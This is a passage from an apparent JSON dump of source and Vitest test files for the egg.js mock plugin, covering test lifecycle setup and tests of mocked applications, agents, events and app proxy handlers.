forEachOwnPropertyName(name) {\n//     if (!redefine && hasOwnProperty.call(dest, name)) {\n//       // Skip descriptor\n//       return;\n//     }\n\n//     // Copy descriptor\n//     const descriptor = Object.getOwnPropertyDescriptor(src, name);\n//     Object.defineProperty(dest, name, descriptor);\n//   });\n\n//   return dest;\n// }\n"
  },
  {
    "path": "plugins/mock/src/register.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport { mock } from './index.ts';\nimport { setupAgent, closeAgent } from './lib/agent_handler.ts';\nimport { getApp } from './lib/app_handler.ts';\n\nconst debug = debuglog('egg/mock/register');\n\nexport async function mochaGlobalSetup(): Promise<void> {\n  debug('mochaGlobalSetup, agent.setupAgent() start');\n  await setupAgent();\n  debug('mochaGlobalSetup, agent.setupAgent() end');\n}\n\nexport async function mochaGlobalTeardown(): Promise<void> {\n  debug('mochaGlobalTeardown, agent.closeAgent() start');\n  await closeAgent();\n  debug('mochaGlobalTeardown, agent.closeAgent() end');\n}\n\nexport const mochaHooks: {\n  beforeAll: () => Promise<void>;\n  afterEach: () => Promise<void>;\n  afterAll: () => Promise<void>;\n} = {\n  async beforeAll(): Promise<void> {\n    const app = await getApp();\n    debug('mochaHooks.beforeAll call, _app: %s', app);\n    if (app) {\n      await app.ready();\n    }\n  },\n  async afterEach(): Promise<void> {\n    const app = await getApp();\n    debug('mochaHooks.afterEach call, _app: %s', app);\n    if (app) {\n      await app.backgroundTasksFinished();\n    }\n    await mock.restore();\n  },\n  async afterAll(): Promise<void> {\n    // skip auto app close on parallel\n    if (process.env.ENABLE_MOCHA_PARALLEL) return;\n    const app = await getApp();\n    debug('mochaHooks.afterAll call, _app: %s', app);\n    if (app) {\n      await app.close();\n    }\n  },\n};\n\nimport './inject_mocha.ts';\n"
  },
  {
    "path": "plugins/mock/src/setup_vitest.ts",
    "content": "import { afterAll, afterEach, beforeAll, beforeEach } from 'vitest';\n\nimport { mock, type MockApplication } from './index.ts';\n\n// Provide Mocha-compatible aliases so existing tests using before/after still work\n// Vitest globals only inject beforeAll/afterAll, not Mocha's before/after\nconst g = globalThis as Record<string, unknown>;\nif (!g.before) g.before = beforeAll;\nif (!g.after) g.after = afterAll;\nif (!g.beforeEach) g.beforeEach = beforeEach;\nif (!g.afterEach) g.afterEach = afterEach;\n\n// Signal that vitest setup is handling the lifecycle hooks,\n// so setupApp() in app_handler.ts should skip registering duplicate hooks\n(globalThis as Record<string, unknown>).__eggMockVitestSetup = true;\n\n// Auto-configure @eggjs/tegg-vitest runner for context injection.\n// The runner checks __teggVitestConfig to decide whether to create\n// per-test tegg module scopes (so app.currentContext is available).\n// Tegg scope creation is handled exclusively by the runner, not here.\nif (!(globalThis as Record<string, unknown>).__teggVitestConfig) {\n  (globalThis as Record<string, unknown>).__teggVitestConfig = {\n    restoreMocks: true,\n    getApp: async () => {\n      const bootstrap = await import('./bootstrap.ts');\n      return (bootstrap as any)?.app;\n    },\n  };\n}\n\nlet app: MockApplication | undefined;\n\n// Cache the startup promise so that:\n// 1. Only one startup attempt is made per worker\n// 2. If startup fails, subsequent test files fail immediately\n// 3. If startup hangs, all files share the same pending promise\nlet startupPromise: Promise<void> | undefined;\n\nbeforeAll(async () => {\n  if (!startupPromise) {\n    startupPromise = (async () => {\n      const { app: bootstrapApp } = await import('./bootstrap.ts');\n      app = bootstrapApp;\n      await app.ready();\n    })();\n    // Prevent unhandled promise rejection when startup fails\n    // (the error will be re-thrown via await in each beforeAll)\n    startupPromise.catch(() => {});\n  }\n  await startupPromise;\n});\n\nafterEach(async () => {\n  if (app && typeof app.backgroundTasksFinished === 'function') {\n    await app.backgroundTasksFinished();\n  }\n  await mock.restore();\n});\n\nafterAll(async () => {\n  // In threads pool, globalThis is shared across all ViteVMs in the same\n  // worker thread. The app (stored in globalThis.__eggMockAppInstance) is\n  // effectively shared even when isolate: true, because each file's\n  // setupApp() finds the existing instance on globalThis. Closing the app\n  // here would break subsequent test files that reuse the same instance.\n  // In isolate: false mode, the same sharing applies explicitly.\n  // Worker thread termination handles cleanup when the test run finishes.\n  const sharedMode =\n    (globalThis as Record<string, unknown>).__eggVitestSharedMode ||\n    process.env.EGG_VITEST_ISOLATE === 'false' ||\n    process.env.EGG_VITEST_POOL === 'threads';\n  if (sharedMode) return;\n  if (app) await app.close();\n});\n"
  },
  {
    "path": "plugins/mock/src/typings/index.d.ts",
    "content": "// make sure to import egg typings and let typescript know about it\n// @see https://github.com/whxaxes/blog/issues/11\n// and https://www.typescriptlang.org/docs/handbook/declaration-merging.html\nimport 'egg';\n"
  },
  {
    "path": "plugins/mock/test/__snapshots__/app_proxy.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`test/app_proxy.test.ts > messenger binding on cluster() mode > should send message from agent to app 1`] = `\n[\n  \"send action to all app\",\n  \"send data to a random app\",\n  \"send data to app when server started\",\n]\n`;\n"
  },
  {
    "path": "plugins/mock/test/agent.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it, afterEach } from 'vitest';\n\nimport mm, { type MockApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\nconst baseDir = getFixtures('agent');\n\ndescribe('test/agent.test.ts', () => {\n  let app: MockApplication;\n  afterEach(() => app.close());\n  afterEach(mm.restore);\n\n  it('mock agent ok', async () => {\n    app = mm.app({\n      baseDir,\n    });\n\n    await app.ready();\n  });\n\n  it('mock agent again ok', async () => {\n    app = mm.app({\n      baseDir,\n    });\n    await app.ready();\n  });\n\n  it('should agent work ok after ready', async () => {\n    app = mm.app({ baseDir });\n    await app.ready();\n    assert.equal(app._agent.type, 'agent');\n  });\n\n  it.skip('should FrameworkErrorformater work during agent boot (configWillLoad)', async () => {\n    // let logMsg = '';\n    let catchErr: any;\n    // mm(process.stderr, 'write', (msg: string) => {\n    //   logMsg = msg;\n    // });\n    try {\n      app = mm.app({ baseDir: getFixtures('agent-boot-error') });\n      await app.ready();\n    } catch (err) {\n      catchErr = err;\n    }\n\n    assert.equal(catchErr.code, 'customPlugin_99');\n    // console.log(logMsg);\n    // assert(/framework\\.CustomError\\: mock error \\[ https\\:\\/\\/eggjs\\.org\\/zh-cn\\/faq\\/customPlugin_99 \\]/.test(logMsg));\n  });\n\n  // Node.js v20: SyntaxError: Unexpected identifier 'SingleModeApplication'\n  it.skipIf(process.version.startsWith('v20.'))(\n    'should FrameworkErrorformater work during agent boot ready (didLoad)',\n    async () => {\n      let logMsg = '';\n      let catchErr: any;\n      mm(process.stderr, 'write', (msg: string) => {\n        logMsg = msg;\n      });\n      app = mm.app({ baseDir: getFixtures('agent-boot-ready-error') });\n      try {\n        await app.ready();\n      } catch (err) {\n        catchErr = err;\n      }\n\n      assert.equal(catchErr.code, 'customPlugin_99');\n      assert.match(\n        logMsg,\n        /framework\\.CustomError: mock error \\[ https:\\/\\/eggjs\\.org\\/zh-cn\\/faq\\/customPlugin_99 \\]/,\n      );\n    },\n  );\n});\n"
  },
  {
    "path": "plugins/mock/test/app/middleware/cluster_app_mock.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport mm, { type MockApplication } from '../../../src/index.ts';\nimport { getFixtures } from '../../helper.ts';\n\ndescribe('test/app/middleware/cluster_app_mock.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    app = mm.app({\n      baseDir: getFixtures('demo'),\n    });\n    return app.ready();\n  });\n  afterAll(() => app.close());\n\n  afterEach(mm.restore);\n\n  it('should return 422 when method missing', () => {\n    return app.httpRequest().post('/__egg_mock_call_function').send({}).expect(422).expect({\n      success: false,\n      error: 'Missing method',\n    });\n  });\n\n  it('should return 422 when args is not Array', () => {\n    return app.httpRequest().post('/__egg_mock_call_function').send({ method: 'foo', args: 'hi' }).expect(422).expect({\n      success: false,\n      error: 'args should be an Array instance',\n    });\n  });\n\n  it('should return 422 when method is not exists on app', () => {\n    return app\n      .httpRequest()\n      .post('/__egg_mock_call_function')\n      .send({ method: 'not_exists_method', args: [] })\n      .expect(422)\n      .expect({\n        success: false,\n        error: 'method \"not_exists_method\" not exists on app',\n      });\n  });\n\n  it('should recover error instance', async () => {\n    let called = false;\n    let callError: any;\n    mm(app, 'foo', (_a: any, err: Error) => {\n      called = true;\n      callError = err;\n    });\n\n    const err = {\n      __egg_mock_type: 'error',\n      name: 'FooError',\n      message: 'foo error fire',\n      stack: 'error stack',\n      foo: 'bar',\n    };\n    await app\n      .httpRequest()\n      .post('/__egg_mock_call_function')\n      .send({ method: 'foo', args: [1, err] })\n      .expect(200)\n      .expect({\n        success: true,\n      });\n\n    assert(called);\n    assert(callError.name === 'FooError');\n    assert(callError.stack === 'error stack');\n    assert(callError.message === 'foo error fire');\n    assert(callError.foo === 'bar');\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/app.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport mm, { type MockApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\ndescribe.sequential('test/app.test.ts', () => {\n  afterEach(mm.restore);\n\n  // test mm.app\n  call('app');\n  // test mm.cluster\n  // call('cluster');\n\n  it('should alias app.agent to app._agent', async () => {\n    const baseDir = getFixtures('app');\n    const app = mm.app({\n      baseDir,\n      // customEgg: path.join(__dirname, '../node_modules/egg'),\n    });\n    await app.ready();\n    assert.equal(app.agent, app._agent);\n    // @ts-expect-error app has no type definition\n    assert.equal(app.agent.app, app._app);\n  });\n\n  it('should not use cache when app is closed', async () => {\n    const baseDir = getFixtures('app');\n    const app1 = mm.app({\n      baseDir,\n      // customEgg: path.join(__dirname, '../node_modules/egg'),\n    });\n    await app1.ready();\n    await app1.close();\n\n    const app2 = mm.app({\n      baseDir,\n      // customEgg: path.join(__dirname, '../node_modules/egg'),\n    });\n    await app2.ready();\n    await app2.close();\n\n    assert(app1 !== app2);\n  });\n\n  // Node.js v20: SyntaxError: Unexpected identifier 'SingleModeApplication'\n  it.skipIf(process.version.startsWith('v20.'))(\n    'should auto find framework when egg.framework exists on package.json',\n    async () => {\n      const baseDir = getFixtures('yadan_app');\n      const app = mm.app({\n        baseDir,\n      });\n      await app.ready();\n      assert.equal(app.config.foobar, 'yadan');\n      await app.close();\n    },\n  );\n\n  // Node.js v20: SyntaxError: Unexpected identifier 'SingleModeApplication'\n  it.skipIf(process.version.startsWith('v20.'))('should show fail tips when Agent not export by default', async () => {\n    const baseDir = getFixtures('yadan_app_fail');\n    const app = mm.app({\n      baseDir,\n    });\n    await assert.rejects(app.ready(), /should export Agent class from framework/);\n    await app.close();\n  });\n\n  it('should emit server event on app without superTest', async () => {\n    const baseDir = getFixtures('server');\n    const app = mm.app({\n      baseDir,\n    });\n    await app.ready();\n    assert(app.emitServer, 'app.emitServer not exists');\n    assert(app.server, 'app.server not exists');\n    await app.close();\n  });\n\n  it('support options.beforeInit', async () => {\n    const baseDir = getFixtures('app');\n    const app = mm.app({\n      baseDir,\n      // customEgg: path.join(__dirname, '../node_modules/egg'),\n      cache: false,\n      beforeInit(instance) {\n        return new Promise((resolve) => {\n          setTimeout(() => {\n            instance.options.test = 'abc';\n            resolve();\n          }, 100);\n        });\n      },\n    });\n    await app.ready();\n    assert(!app.options.beforeInit);\n    assert((app.options as any).test === 'abc');\n  });\n\n  it('should emit error when load Application fail', async () => {\n    const baseDir = getFixtures('app-fail');\n    const app = mm.app({ baseDir, cache: false });\n    await assert.rejects(app.ready(), /load error/);\n    await app.close();\n  });\n\n  // Node.js v20: SyntaxError: Unexpected identifier 'SingleModeApplication'\n  it.skipIf(process.version.startsWith('v20.'))('should FrameworkErrorformater work during app boot', async () => {\n    // let logMsg = '';\n    let catchErr: any;\n    // mm(process.stderr, 'write', (msg: string) => {\n    //   logMsg = msg;\n    // });\n    const app = mm.app({\n      baseDir: getFixtures('app-boot-error'),\n    });\n    try {\n      await app.ready();\n    } catch (err) {\n      catchErr = err;\n    }\n\n    assert.equal(catchErr.code, 'customPlugin_99');\n    // console.log(catchErr);\n    // assert.match(logMsg, /CustomError: mock error/);\n    // assert.match(logMsg, /framework\\.CustomError\\: mock error \\[ https\\:\\/\\/eggjs\\.org\\/zh-cn\\/faq\\/customPlugin_99 \\]/);\n  });\n\n  // Node.js v20: SyntaxError: Unexpected identifier 'SingleModeApplication'\n  it.skipIf(process.version.startsWith('v20.'))(\n    'should FrameworkErrorformater work during app boot ready',\n    async () => {\n      let logMsg: string = '';\n      let catchErr: any;\n      mm(process.stderr, 'write', (msg: string) => {\n        logMsg = msg;\n      });\n      const app = mm.app({\n        baseDir: getFixtures('app-boot-ready-error'),\n      });\n      try {\n        await app.ready();\n      } catch (err) {\n        catchErr = err;\n      }\n\n      assert(catchErr.code === 'customPlugin_99');\n      assert.match(logMsg, /CustomError: mock error/);\n      // console.log(logMsg);\n      assert(/framework\\.CustomError: mock error \\[ https:\\/\\/eggjs\\.org\\/zh-cn\\/faq\\/customPlugin_99 \\]/.test(logMsg));\n    },\n  );\n});\n\nfunction call(method: string) {\n  let app: MockApplication;\n  describe(`mm.${method}()`, () => {\n    beforeAll(async () => {\n      const baseDir = getFixtures('app');\n      mm(process, 'cwd', () => baseDir);\n      app = (mm as any)[method]({\n        // cache: false,\n        // coverage: false,\n      });\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should work', async () => {\n      await app.httpRequest().get('/').expect('foo').expect(200);\n    });\n\n    it('should emit server event on app', async () => {\n      await app.httpRequest().get('/keepAliveTimeout').expect(200).expect({\n        keepAliveTimeout: 5000,\n      });\n    });\n\n    it.skip('should app.expectLog(), app.notExpectLog() work', async () => {\n      await app.httpRequest().get('/logger').expect(200).expect({\n        ok: true,\n      });\n      // app.expectLog('[app.expectLog() test] ok');\n      // app.expectLog('[app.expectLog() test] ok', 'logger');\n      // app.expectLog('[app.expectLog(coreLogger) test] ok', 'coreLogger');\n\n      app.notExpectLog('[app.notExpectLog() test] fail');\n      app.notExpectLog('[app.notExpectLog() test] fail', 'logger');\n      app.notExpectLog('[app.notExpectLog(coreLogger) test] fail', 'coreLogger');\n\n      if (method === 'app') {\n        app.expectLog(/\\[app\\.expectLog\\(\\) test\\] ok/);\n        app.expectLog(/\\[app\\.expectLog\\(\\) test\\] ok/, app.logger);\n        app.expectLog('[app.expectLog(coreLogger) test] ok', app.coreLogger);\n        app.expectLog(/\\[app\\.expectLog\\(coreLogger\\) test\\] ok/, 'coreLogger');\n\n        app.notExpectLog(/\\[app\\.notExpectLog\\(\\) test\\] fail/);\n        app.notExpectLog(/\\[app\\.notExpectLog\\(\\) test\\] fail/, app.logger);\n        app.notExpectLog('[app.notExpectLog(coreLogger) test] fail', app.coreLogger);\n        app.notExpectLog(/\\[app\\.notExpectLog\\(coreLogger\\) test\\] fail/, 'coreLogger');\n      }\n\n      try {\n        app.expectLog('[app.expectLog(coreLogger) test] ok');\n        throw new Error('should not run this');\n      } catch (err: any) {\n        assert(err.message.includes('Can\\'t find String:\"[app.expectLog(coreLogger) test] ok\" in '));\n        assert(err.message.includes('app-web.log'));\n      }\n\n      try {\n        app.notExpectLog('[app.expectLog() test] ok');\n        throw new Error('should not run this');\n      } catch (err: any) {\n        assert(err.message.includes('Find String:\"[app.expectLog() test] ok\" in '));\n        assert(err.message.includes('app-web.log'));\n      }\n    });\n\n    it('should app.mockLog() then app.expectLog() work', async () => {\n      app.mockLog();\n      app.mockLog('logger');\n      app.mockLog('coreLogger');\n      await app.httpRequest().get('/logger').expect(200).expect({\n        ok: true,\n      });\n      app.expectLog('[app.expectLog() test] ok');\n      app.expectLog('[app.expectLog() test] ok', 'logger');\n      app.expectLog('[app.expectLog(coreLogger) test] ok', 'coreLogger');\n\n      app.notExpectLog('[app.notExpectLog() test] fail');\n      app.notExpectLog('[app.notExpectLog() test] fail', 'logger');\n      app.notExpectLog('[app.notExpectLog(coreLogger) test] fail', 'coreLogger');\n\n      if (method === 'app') {\n        app.expectLog(/\\[app\\.expectLog\\(\\) test\\] ok/);\n        app.expectLog(/\\[app\\.expectLog\\(\\) test\\] ok/, app.logger);\n        app.expectLog('[app.expectLog(coreLogger) test] ok', app.coreLogger);\n        app.expectLog(/\\[app\\.expectLog\\(coreLogger\\) test\\] ok/, 'coreLogger');\n\n        app.notExpectLog(/\\[app\\.notExpectLog\\(\\) test\\] fail/);\n        app.notExpectLog(/\\[app\\.notExpectLog\\(\\) test\\] fail/, app.logger);\n        app.notExpectLog('[app.notExpectLog(coreLogger) test] fail', app.coreLogger);\n        app.notExpectLog(/\\[app\\.notExpectLog\\(coreLogger\\) test\\] fail/, 'coreLogger');\n      }\n\n      try {\n        app.expectLog('[app.expectLog(coreLogger) test] ok');\n        throw new Error('should not run this');\n      } catch (err: any) {\n        assert(err.message.includes('Can\\'t find String:\"[app.expectLog(coreLogger) test] ok\" in '));\n        assert(err.message.includes('app-web.log'));\n      }\n\n      try {\n        app.notExpectLog('[app.expectLog() test] ok');\n        throw new Error('should not run this');\n      } catch (err: any) {\n        assert(err.message.includes('Find String:\"[app.expectLog() test] ok\" in '));\n        assert(err.message.includes('app-web.log'));\n      }\n\n      if (method === 'app') {\n        assert('_mockLogs' in app.logger && app.logger._mockLogs);\n        assert('_mockLogs' in app.coreLogger && app.coreLogger._mockLogs);\n        await mm.restore();\n        assert(!app.logger._mockLogs);\n        assert(!app.coreLogger._mockLogs);\n      }\n    });\n\n    it(\"should app.mockLog() don't read from file\", async () => {\n      await app.httpRequest().get('/logger').expect(200).expect({\n        ok: true,\n      });\n      // app.expectLog('INFO');\n      // app.mockLog();\n      // app.notExpectLog('INFO');\n    });\n\n    it('should request with ua', async () => {\n      await app\n        .httpRequest()\n        .get('/ua')\n        .expect(200)\n        .expect(/@eggjs\\/mock\\/\\d+\\.\\d+\\.\\d+/);\n    });\n  });\n\n  describe(`mm.${method}({ baseDir, plugin=string })`, () => {\n    const pluginDir = getFixtures('fooPlugin');\n    beforeAll(async () => {\n      mm(process, 'cwd', () => pluginDir);\n      app = (mm as any)[method]({\n        baseDir: getFixtures('apps/foo'),\n        plugin: 'fooPlugin',\n        // cache: false,\n        // coverage: false,\n      });\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should work', async () => {\n      app\n        .httpRequest()\n        .get('/')\n        .expect({\n          fooPlugin: true,\n        })\n        .expect(200);\n    });\n  });\n\n  describe(`mm.${method}({ baseDir, plugin=true })`, () => {\n    const pluginDir = getFixtures('fooPlugin');\n    beforeAll(async () => {\n      mm(process, 'cwd', () => pluginDir);\n      app = (mm as any)[method]({\n        baseDir: getFixtures('apps/foo'),\n        plugin: true,\n        // cache: false,\n        // coverage: false,\n      });\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should work', async () => {\n      app\n        .httpRequest()\n        .get('/')\n        .expect({\n          fooPlugin: true,\n        })\n        .expect(200);\n    });\n  });\n\n  describe(`mm.${method}({ baseDir, plugins })`, () => {\n    beforeAll(async () => {\n      app = (mm as any)[method]({\n        baseDir: getFixtures('apps/foo'),\n        plugins: {\n          fooPlugin: {\n            enable: true,\n            path: getFixtures('fooPlugin'),\n          },\n        },\n        // cache: false,\n        // coverage: false,\n      });\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should work', async () => {\n      await app\n        .httpRequest()\n        .get('/')\n        .expect({\n          fooPlugin: true,\n        })\n        .expect(200);\n    });\n  });\n\n  // Node.js v20: SyntaxError: Unexpected identifier 'SingleModeApplication'\n  describe.skipIf(process.version.startsWith('v20.'))(`mm.${method}({ baseDir, framework=fullpath })`, () => {\n    beforeAll(async () => {\n      app = (mm as any)[method]({\n        baseDir: getFixtures('apps/barapp'),\n        framework: getFixtures('bar'),\n        // cache: false,\n        // coverage: false,\n      });\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should work with old way', async () => {\n      await app\n        .httpRequest()\n        .get('/')\n        .expect({\n          foo: 'bar',\n          foobar: 'bar',\n        })\n        .expect(200);\n    });\n  });\n\n  // Node.js v20: SyntaxError: Unexpected identifier 'SingleModeApplication'\n  describe.skipIf(process.version.startsWith('v20.'))(`mm.${method}({ baseDir, customEgg=true })`, () => {\n    beforeAll(async () => {\n      mm(process, 'cwd', () => {\n        return getFixtures('bar');\n      });\n      app = (mm as any)[method]({\n        baseDir: getFixtures('apps/barapp'),\n        customEgg: true,\n        // cache: false,\n        // coverage: false,\n      });\n      await app.ready();\n    });\n    afterAll(() => app && app.close());\n\n    it('should work', async () => {\n      await app\n        .httpRequest()\n        .get('/')\n        .expect({\n          foo: 'bar',\n          foobar: 'bar',\n        })\n        .expect(200);\n    });\n  });\n\n  // Node.js v20: SyntaxError: Unexpected identifier 'SingleModeApplication'\n  describe.skipIf(process.version.startsWith('v20.'))(`mm.${method}({ baseDir, framework=true })`, () => {\n    beforeAll(async () => {\n      mm(process, 'cwd', () => {\n        return getFixtures('bar');\n      });\n      app = (mm as any)[method]({\n        baseDir: getFixtures('apps/barapp'),\n        framework: true,\n        // cache: false,\n        // coverage: false,\n      });\n      await app.ready();\n    });\n    afterAll(() => app && app.close());\n\n    it('should work', async () => {\n      await app\n        .httpRequest()\n        .get('/')\n        .expect({\n          foo: 'bar',\n          foobar: 'bar',\n        })\n        .expect(200);\n    });\n  });\n\n  describe(`mm.${method}({ baseDir, cache=true })`, () => {\n    let app1: MockApplication;\n    let app2: MockApplication;\n    beforeAll(async () => {\n      app1 = (mm as any)[method]({\n        baseDir: getFixtures('cache'),\n        // coverage: false,\n      });\n      await app1.ready();\n    });\n    beforeAll(async () => {\n      app2 = (mm as any)[method]({\n        baseDir: getFixtures('cache'),\n        // coverage: false,\n      });\n      await app2.ready();\n    });\n    afterAll(async () => {\n      await app1.close();\n      await app2.close();\n    });\n\n    it('should equal', () => {\n      assert.equal(app1, app2);\n    });\n  });\n}\n"
  },
  {
    "path": "plugins/mock/test/app_event.test.ts",
    "content": "import assert from 'node:assert';\nimport { once } from 'node:events';\nimport { scheduler } from 'node:timers/promises';\n\nimport { describe, it, beforeAll, afterAll, afterEach, beforeEach } from 'vitest';\n\nimport mm, { type MockApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\nconst baseDir = getFixtures('app-event');\n\ndescribe('test/app_event.test.ts', () => {\n  afterEach(mm.restore);\n\n  describe('after ready', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = mm.app({\n        baseDir,\n        cache: false,\n      });\n      await app.ready();\n    });\n    afterAll(async () => {\n      await app.close();\n    });\n\n    it('should work', async () => {\n      await app.httpRequest().get('/event').expect(200).expect('done');\n    });\n  });\n\n  describe.skip('before ready', () => {\n    let app: MockApplication;\n    beforeEach(() => {\n      app = mm.app({\n        baseDir,\n        cache: false,\n      });\n    });\n    afterEach(() => app.ready());\n    afterEach(() => app.close());\n\n    it('should listen after app ready and instantiate', async () => {\n      await once(app, 'appReady');\n      await once(app, 'appInstantiated');\n    });\n  });\n\n  describe.skip('throw before app init', () => {\n    let app: MockApplication;\n    beforeEach(() => {\n      const baseDir = getFixtures('app');\n      const customEgg = getFixtures('error-framework');\n      app = mm.app({\n        baseDir,\n        customEgg,\n        cache: false,\n      });\n    });\n    afterEach(() => app.close());\n\n    it('should listen error event', async () => {\n      // app.on('error', err => {\n      //   assert.equal(err.message, 'start error');\n      //   await once(app, 'error');\n      // });\n      await once(app, 'error');\n    });\n\n    it('should throw error from ready', async () => {\n      await assert.rejects(async () => {\n        await app.ready();\n      }, /start error/);\n    });\n\n    it('should close when app init failed', async () => {\n      app.once('error', () => {});\n      await scheduler.wait(1000);\n      // app._app is undefined\n      await app.close();\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/app_proxy.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport { scheduler } from 'node:timers/promises';\n\nimport { describe, it, beforeAll, afterAll, afterEach, expect } from 'vitest';\n\nimport mm, { type MockApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\nconst baseDir = getFixtures('app-proxy');\n\ndescribe.skipIf(process.version.startsWith('v24'))('test/app_proxy.test.ts', () => {\n  afterEach(mm.restore);\n\n  describe('when before ready', () => {\n    let app: MockApplication;\n    const baseDir = getFixtures('app-proxy-ready');\n    beforeAll(() => {\n      app = mm.app({\n        baseDir,\n        cache: false,\n      });\n    });\n    afterAll(async () => {\n      await app.ready();\n      await app.close();\n    });\n\n    it('should not get property', () => {\n      assert.throws(() => {\n        app.config;\n      }, /can't get config before ready/);\n    });\n\n    it('should not set property', () => {\n      assert.throws(() => {\n        (app as any).curl = async function mockCurl() {\n          return 'mock';\n        };\n      }, /can't set curl before ready/);\n    });\n\n    it('should not define property', () => {\n      assert.throws(() => {\n        Object.defineProperty(app, 'config', {\n          value: {},\n        });\n      }, /can't defineProperty config before ready/);\n    });\n\n    it('should not delete property', () => {\n      assert.throws(() => {\n        delete (app as any).config;\n      }, /can't delete config before ready/);\n    });\n\n    it('should not getOwnPropertyDescriptor property', () => {\n      assert.throws(() => {\n        Object.getOwnPropertyDescriptor(app, 'config');\n      }, /can't getOwnPropertyDescriptor config before ready/);\n    });\n\n    it('should not getPrototypeOf property', () => {\n      assert.throws(() => {\n        Object.getPrototypeOf(app);\n      }, /can't getPrototypeOf before ready/);\n    });\n  });\n\n  describe('handler.get', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = mm.app({\n        baseDir,\n        cache: false,\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should get property', () => {\n      assert.equal(app.getter, 'getter');\n      assert.equal(app.method(), 'method');\n    });\n\n    it('should ignore when get property on MockApplication', async () => {\n      assert.equal(app.isClosed, false);\n      assert.equal(app.closed, false);\n      await app.close();\n      assert.equal(app.isClosed, true);\n      assert.equal(app.closed, true);\n    });\n  });\n\n  describe('handler.set', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = mm.app({\n        baseDir,\n        cache: false,\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should override property with setter', async () => {\n      (app as any).curl = async function mockCurl() {\n        return 'mock';\n      };\n      const data = await app.curl('http://127.0.0.1:7001');\n      assert.equal(data, 'mock');\n    });\n\n    it('should ignore when set property on MockApplication', async () => {\n      app.isClosed = true;\n      assert(app.isClosed === false);\n      await app.close();\n    });\n  });\n\n  describe('handler.defineProperty', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = mm.app({\n        baseDir,\n        cache: false,\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should defineProperty', async () => {\n      assert.equal(app.prop, 1);\n      Object.defineProperty(app, 'prop', {\n        get() {\n          if (!this._prop) {\n            this._prop = 0;\n          }\n          return this._prop++;\n        },\n        set(prop) {\n          if (this._prop) {\n            this._prop = this._prop + prop;\n          }\n        },\n      });\n\n      assert.equal(app.prop, 0);\n      assert.equal(app.prop, 1);\n      app.prop = 2;\n      assert.equal(app.prop, 4);\n      app.prop = 2;\n      assert.equal(app.prop, 7);\n    });\n\n    it('should ignore when defineProperty on MockApplication', async () => {\n      assert.equal(app.isClosed, false);\n      Object.defineProperty(app, 'isClosed', {\n        value: true,\n      });\n      assert.equal(app.isClosed, false);\n      assert(!app._app.closed && !app._app.isClosed);\n    });\n  });\n\n  describe('handler.deleteProperty', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = mm.app({\n        baseDir,\n        // cache: false,\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should delete property', () => {\n      assert.equal(app.shouldBeDelete, true);\n      delete app.shouldBeDelete;\n      assert.equal(app.shouldBeDelete, undefined);\n    });\n\n    it('should ignore when delete property on MockApplication', () => {\n      assert(!app._app.closed);\n      assert.equal(app.isClosed, false);\n      delete app.isClosed;\n      assert(!app._app.closed);\n      assert.equal(app.isClosed, false);\n    });\n  });\n\n  describe('handler.getOwnPropertyDescriptor', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = mm.app({\n        baseDir,\n        cache: false,\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should getOwnPropertyDescriptor', () => {\n      const d = Object.getOwnPropertyDescriptor(app, 'a')!;\n      assert.equal(typeof d.get, 'function');\n      assert.equal(typeof d.set, 'function');\n    });\n\n    it('should ignore when getOwnPropertyDescriptor on MockApplication', async () => {\n      const d = Object.getOwnPropertyDescriptor(app, 'closed')!;\n      assert.equal(d, undefined);\n    });\n  });\n\n  describe('handler.getPrototypeOf', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = mm.app({\n        baseDir,\n        // cache: false,\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should getPrototypeOf', () => {\n      assert.equal(Object.getPrototypeOf(app), Object.getPrototypeOf(app._app));\n    });\n  });\n\n  describe('MOCK_APP_METHOD', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = mm.app({\n        baseDir,\n        cache: false,\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should be used on MockApplication', () => {\n      const MOCK_APP_METHOD = ['ready', 'isClosed', 'closed', 'close', '_agent', '_app', 'on', 'once'];\n      for (const key of MOCK_APP_METHOD) {\n        assert(app[key] !== app._app[key]);\n      }\n    });\n  });\n\n  describe.skip('messenger binding on app() mode', () => {\n    let app: MockApplication;\n    const baseDir = getFixtures('messenger-binding');\n    beforeAll(() => {\n      app = mm.app({\n        baseDir,\n        // cache: false,\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should send message from app to agent', async () => {\n      await scheduler.wait(2000);\n      assert.deepEqual(app._agent.received, [\n        'send data when app starting',\n        'send data when app started',\n        'send data to a random agent',\n      